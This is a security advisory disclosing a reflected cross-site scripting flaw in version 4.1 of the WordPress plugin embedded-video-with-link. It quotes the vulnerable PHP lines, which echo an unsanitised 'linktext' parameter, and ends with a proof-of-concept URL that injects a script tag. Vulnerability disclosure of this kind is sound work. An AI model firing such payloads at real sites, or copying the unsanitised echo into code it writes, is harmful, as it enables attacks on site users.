Advisory #: 766
Title: Reflected XSS in wordpress plugin embedded-video-with-link v4.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/embedded-video-with-link
Downloads: 233617
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: embedded-video-with-link
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./embedded-video-with-link/embedded-video-popup.php: 195: <td><input name="linktext" type="text" id="portal_linktext" value="<?php echo $_GET['linktext']; ?>" style="width: 200px" /></td> 351: <td><input name="linktext" type="text" id="remote_linktext" value="<?php echo $_GET['linktext']; ?>" style="width: 200px" /></td> The variable linktext appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./embedded-video-with-link/embedded-video-popup.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/embedded-video-with-link/embedded-video-popup.php?linktext="><script>alert(1);</script><"